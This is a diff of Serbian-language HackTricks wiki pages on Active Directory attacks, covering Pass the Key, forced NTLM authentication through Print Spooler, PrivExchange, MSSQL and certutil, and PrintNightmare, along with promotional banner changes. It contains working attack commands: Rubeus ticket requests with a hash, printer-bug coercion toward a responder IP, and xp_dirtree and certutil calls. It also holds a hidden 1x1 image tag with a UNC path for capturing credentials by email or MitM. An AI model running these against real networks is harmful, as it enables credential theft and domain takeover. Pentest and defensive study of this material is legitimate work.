Nailaženje na probleme poput _PyAsn1Error_ ili _KDC cannot find the name_ obično se rešava ažuriranjem Impacket biblioteke ili korišćenjem imena računara umesto IP adrese, obezbeđujući kompatibilnost sa Kerberos KDC.
|
||||
Problemi kao što su _PyAsn1Error_ ili _KDC cannot find the name_ obično se rešavaju ažuriranjem Impacket biblioteke ili korišćenjem imena hosta umesto IP adrese, osiguravajući kompatibilnost sa Kerberos KDC.
|
||||
|
||||
Alternativni niz komandi korišćenjem Rubeus.exe prikazuje drugu stranu ove tehnike:
|
||||
Alternativna komanda koristeći Rubeus.exe demonstrira još jedan aspekt ove tehnike:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
Ova metoda odražava pristup **Pass the Key**, sa fokusom na preuzimanju i korišćenju tiketa direktno u svrhu autentikacije. Ključno je napomenuti da inicijacija zahteva za TGT pokreće događaj `4768: Zahtevan je Kerberos autentikacioni tiket (TGT)`, što označava korišćenje RC4-HMAC podrazumevano, iako moderni Windows sistemi preferiraju AES256.
|
||||
Ova metoda odražava pristup **Pass the Key**, sa fokusom na preuzimanje i korišćenje karte direktno u svrhe autentifikacije. Važno je napomenuti da pokretanje zahteva za TGT aktivira događaj `4768: A Kerberos authentication ticket (TGT) was requested`, što označava korišćenje RC4-HMAC po defaultu, iako moderni Windows sistemi preferiraju AES256.
|
||||
|
||||
Da bi se uskladili sa operativnom sigurnošću i koristili AES256, može se primeniti sledeća komanda:
|
||||
Da bi se pridržavali operativne sigurnosti i koristili AES256, može se primeniti sledeća komanda:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
|
@ -52,14 +55,17 @@ Da bi se uskladili sa operativnom sigurnošću i koristili AES256, može se prim
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,109 +1,80 @@
|
|||
# Prisilna NTLM privilegovana autentifikacija
|
||||
# Force NTLM Privileged Authentication
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SharpSystemTriggers
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) je **kolekcija** udaljenih autentifikacionih okidača kodiranih u C# koristeći MIDL kompajler kako bi se izbegle zavisnosti od trećih strana.
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) je **kolekcija** **okidača za daljinsku autentifikaciju** napisanih u C# koristeći MIDL kompajler kako bi se izbegle zavisnosti trećih strana.
|
||||
|
||||
## Zloupotreba Spooler servisa
|
||||
## Zloupotreba Spooler Servisa
|
||||
|
||||
Ako je servis _**Print Spooler**_ **omogućen**, možete koristiti već poznate AD akreditive da **zahtevate** od print servera na kontroleru domena **ažuriranje** novih print poslova i samo mu reći da **pošalje obaveštenje na neki sistem**.\
|
||||
Napomena: kada printer šalje obaveštenje na proizvoljni sistem, potrebno je da se **autentifikuje na** tom **sistemu**. Stoga, napadač može naterati servis _**Print Spooler**_ da se autentifikuje na proizvoljni sistem, a servis će **koristiti nalog računara** za ovu autentifikaciju.
|
||||
Ako je _**Print Spooler**_ servis **omogućen,** možete koristiti neke već poznate AD akreditive da **zatražite** od štampača na kontroleru domena **ažuriranje** o novim poslovima za štampu i jednostavno mu reći da **pošalje obaveštenje nekom sistemu**.\
|
||||
Napomena: kada štampač šalje obaveštenje proizvoljnim sistemima, mora da se **autentifikuje** prema tom **sistemu**. Stoga, napadač može naterati _**Print Spooler**_ servis da se autentifikuje prema proizvoljnom sistemu, a servis će **koristiti račun računara** u ovoj autentifikaciji.
|
||||
|
||||
### Pronalaženje Windows servera u domenu
|
||||
### Pronalaženje Windows Servera na domenu
|
||||
|
||||
Koristeći PowerShell, dobijte listu Windows mašina. Serveri obično imaju prioritet, pa se fokusirajmo na njih:
|
||||
Koristeći PowerShell, dobijte listu Windows mašina. Serveri su obično prioritet, pa hajde da se fokusiramo na njih:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
### Pronalaženje slušajućih Spooler servisa
|
||||
### Pronalaženje Spooler usluga koje slušaju
|
||||
|
||||
Koristeći malo izmenjenu verziju @mysmartlogin-ovog (Vincent Le Toux-ovog) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) alata, proverite da li Spooler servis sluša:
|
||||
Koristeći malo modifikovani @mysmartlogin-ov (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), proverite da li Spooler usluga sluša:
|
||||
```bash
|
||||
. .\Get-SpoolStatus.ps1
|
||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||
```
|
||||
Možete koristiti rpcdump.py na Linuxu i potražiti protokol MS-RPRN.
|
||||
Možete takođe koristiti rpcdump.py na Linux-u i tražiti MS-RPRN protokol.
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Zatražite od servisa da se autentifikuje na proizvoljnom hostu
|
||||
### Zamolite servis da se autentifikuje protiv proizvoljnog hosta
|
||||
|
||||
Možete kompajlirati [**SpoolSample odavde**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
Možete kompajlirati[ **SpoolSample odavde**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
ili koristite [**3xocyte-ov dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) ili [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) ako koristite Linux
|
||||
ili koristite [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) ili [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) ako ste na Linuxu
|
||||
```bash
|
||||
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
|
||||
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### Kombinovanje sa neograničenim delegiranjem
|
||||
### Kombinovanje sa Neograničenom Delegacijom
|
||||
|
||||
Ako napadač već ima pristup kompjuteru sa [neograničenim delegiranjem](unconstrained-delegation.md), napadač može **naterati štampač da se autentifikuje na tom računaru**. Zbog neograničenog delegiranja, **TGT** računa **računara štampača** će biti **sačuvan u memoriji** računara sa neograničenim delegiranjem. Pošto je napadač već kompromitovao ovaj host, on će biti u mogućnosti da **preuzme ovu kartu** i zloupotrebi je ([Pass the Ticket](pass-the-ticket.md)).
|
||||
Ako je napadač već kompromitovao računar sa [Neograničenom Delegacijom](unconstrained-delegation.md), napadač bi mogao **naterati štampač da se autentifikuje protiv ovog računara**. Zbog neograničene delegacije, **TGT** **računarskog naloga štampača** će biti **sačuvan u** **memoriji** računara sa neograničenom delegacijom. Kako je napadač već kompromitovao ovaj host, moći će da **izvuče ovu kartu** i zloupotrebi je ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP prinudna autentifikacija
|
||||
## RCP Prisilna autentifikacija
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
Napad `PrivExchange` je rezultat greške koja je pronađena u funkcionalnosti **Exchange Server `PushSubscription`**. Ova funkcionalnost omogućava Exchange serveru da bude prisiljen od strane bilo kog korisnika domena sa poštanskim sandučetom da se autentifikuje na bilo kojem klijentu obezbeđenom hostu preko HTTP-a.
|
||||
Napad `PrivExchange` je rezultat greške pronađene u **Exchange Server `PushSubscription` funkciji**. Ova funkcija omogućava da bilo koji korisnik domena sa poštanskim sandučetom natera Exchange server da se autentifikuje na bilo kojem hostu koji obezbeđuje klijent preko HTTP-a.
|
||||
|
||||
Podrazumevano, **Exchange servis radi kao SYSTEM** i ima prekomerne privilegije (konkretno, ima **WriteDacl privilegije na domenu pre 2019 Cumulative Update**). Ova greška može biti iskorišćena da omogući **preusmeravanje informacija na LDAP i naknadno izvlačenje NTDS baze podataka domena**. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na drugim hostovima unutar domena. Uspesno iskorišćavanje ovog napada odmah daje pristup Administratoru domena sa bilo kojim autentifikovanim korisničkim nalogom domena.
|
||||
Podrazumevano, **Exchange usluga se pokreće kao SYSTEM** i ima prekomerne privilegije (konkretno, ima **WriteDacl privilegije na domen pre-2019 Kumulativno Ažuriranje**). Ova greška se može iskoristiti za omogućavanje **preusmeravanja informacija na LDAP i naknadno izvlačenje NTDS baze podataka domena**. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na druge hostove unutar domena. Uspešna eksploatacija ovog napada omogućava trenutni pristup Administraciji Domenom sa bilo kojim autentifikovanim korisničkim nalogom domena.
|
||||
|
||||
## Unutar Windows-a
|
||||
|
||||
Ako već imate pristup Windows mašini, možete naterati Windows da se poveže sa serverom koristeći privilegovane naloge sa:
|
||||
Ako ste već unutar Windows mašine, možete naterati Windows da se poveže sa serverom koristeći privilegovane naloge sa:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
MSSQL (Microsoft SQL Server) je relaciona baza podataka koju razvija Microsoft. Koristi se za skladištenje i upravljanje podacima u organizacijama. MSSQL je popularan izbor za mnoge aplikacije i sistemski administratori često moraju da se bave ovom bazom podataka.
|
||||
|
||||
#### Napadi na MSSQL
|
||||
|
||||
Napadi na MSSQL mogu biti veoma opasni i mogu dovesti do kompromitovanja sistema ili krađe podataka. Evo nekoliko uobičajenih napada na MSSQL:
|
||||
|
||||
1. **Brute force napad**: Napadač pokušava da pogodi lozinku za pristup MSSQL serveru. Ovo se može postići korišćenjem različitih kombinacija lozinki sve dok se ne pronađe ispravna.
|
||||
|
||||
2. **SQL Injection**: Napadač ubacuje zlonamerni SQL kod u unos koji se prosleđuje MSSQL serveru. Ovo može dovesti do izvršavanja neovlašćenih SQL upita i kompromitovanja podataka.
|
||||
|
||||
3. **Denial of Service (DoS)**: Napadač preplavljuje MSSQL server sa velikim brojem zahteva kako bi ga onesposobio i sprečio pristup legitimnim korisnicima.
|
||||
|
||||
4. **Privilege Escalation**: Napadač pokušava da dobije više privilegija na MSSQL serveru kako bi imao veći pristup podacima i funkcionalnostima.
|
||||
|
||||
#### Zaštita od napada na MSSQL
|
||||
|
||||
Da biste zaštitili MSSQL server od napada, preporučuje se preduzimanje sledećih mera:
|
||||
|
||||
1. **Koristite jake lozinke**: Postavite složene lozinke koje kombinuju velika i mala slova, brojeve i posebne znakove. Takođe, redovno menjajte lozinke.
|
||||
|
||||
2. **Ažurirajte MSSQL server**: Redovno ažurirajte MSSQL server kako biste ispravili poznate sigurnosne propuste.
|
||||
|
||||
3. **Koristite firewall**: Konfigurišite firewall kako biste ograničili pristup MSSQL serveru samo sa određenih IP adresa.
|
||||
|
||||
4. **Koristite enkripciju**: Omogućite enkripciju komunikacije između klijenta i MSSQL servera kako biste zaštitili podatke od neovlašćenog pristupa.
|
||||
|
||||
5. **Ograničite privilegije**: Dodelite samo neophodne privilegije korisnicima na MSSQL serveru kako biste smanjili rizik od zloupotrebe.
|
||||
|
||||
6. **Pratite logove**: Redovno pratite logove MSSQL servera kako biste otkrili sumnjive aktivnosti i odmah reagovali.
|
||||
|
||||
Implementiranjem ovih mera zaštite, možete smanjiti rizik od napada na MSSQL server i zaštititi vaše podatke.
|
||||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
|
@ -111,39 +82,42 @@ Ili koristite ovu drugu tehniku: [https://github.com/p0dalirius/MSSQL-Analysis-C
|
|||
|
||||
### Certutil
|
||||
|
||||
Moguće je koristiti certutil.exe lolbin (Microsoft-potpisan binarni fajl) za prisiljavanje NTLM autentifikacije:
|
||||
Moguće je koristiti certutil.exe lolbin (Microsoft-ov potpisani binarni fajl) za primoravanje NTLM autentifikacije:
|
||||
```bash
|
||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
```
|
||||
## HTML ubacivanje
|
||||
## HTML injection
|
||||
|
||||
### Putem emaila
|
||||
### Via email
|
||||
|
||||
Ako znate **email adresu** korisnika koji se prijavljuje na mašinu koju želite kompromitovati, jednostavno mu možete poslati **email sa slikom veličine 1x1** kao što je:
|
||||
Ako znate **email adresu** korisnika koji se prijavljuje na mašinu koju želite da kompromitujete, možete mu jednostavno poslati **email sa 1x1 slikom** kao što je
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
i kada je otvori, pokušaće da se autentifikuje.
|
||||
i kada ga otvori, pokušaće da se autentifikuje.
|
||||
|
||||
### MitM
|
||||
|
||||
Ako možete izvesti MitM napad na računar i ubaciti HTML kod na stranicu koju će korisnik videti, možete pokušati da ubacite sliku kao što je sledeća na stranici:
|
||||
Ako možete da izvršite MitM napad na računar i ubacite HTML u stranicu koju će vizualizovati, mogli biste pokušati da ubacite sliku poput sledeće u stranicu:
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## Pucanje NTLMv1
|
||||
## Cracking NTLMv1
|
||||
|
||||
Ako možete uhvatiti izazove NTLMv1, pročitajte ovde kako da ih puknete.\
|
||||
_Zapamtite da biste pukli NTLMv1, morate postaviti Responder izazov na "1122334455667788"_
|
||||
Ako možete uhvatiti [NTLMv1 izazove pročitajte ovde kako ih hakovati](../ntlm/#ntlmv1-attack).\
|
||||
_Pamti da da bi hakovao NTLMv1 treba da postaviš Responder izazov na "1122334455667788"_
|
||||
|
||||
{% hint style="success" %}
|
||||
Uči i vežbaj AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Uči i vežbaj GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrži HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proveri [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridruži se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **prati** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podeli hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,34 @@
|
|||
# PrintNightmare
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Proverite ovaj sjajan blog post o PrintNightmare-u u 2024. godini: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Proverite ovaj sjajan blog post o PrintNightmare u 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# SID-History Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Napad SID History Injection
|
||||
## SID History Injection Attack
|
||||
|
||||
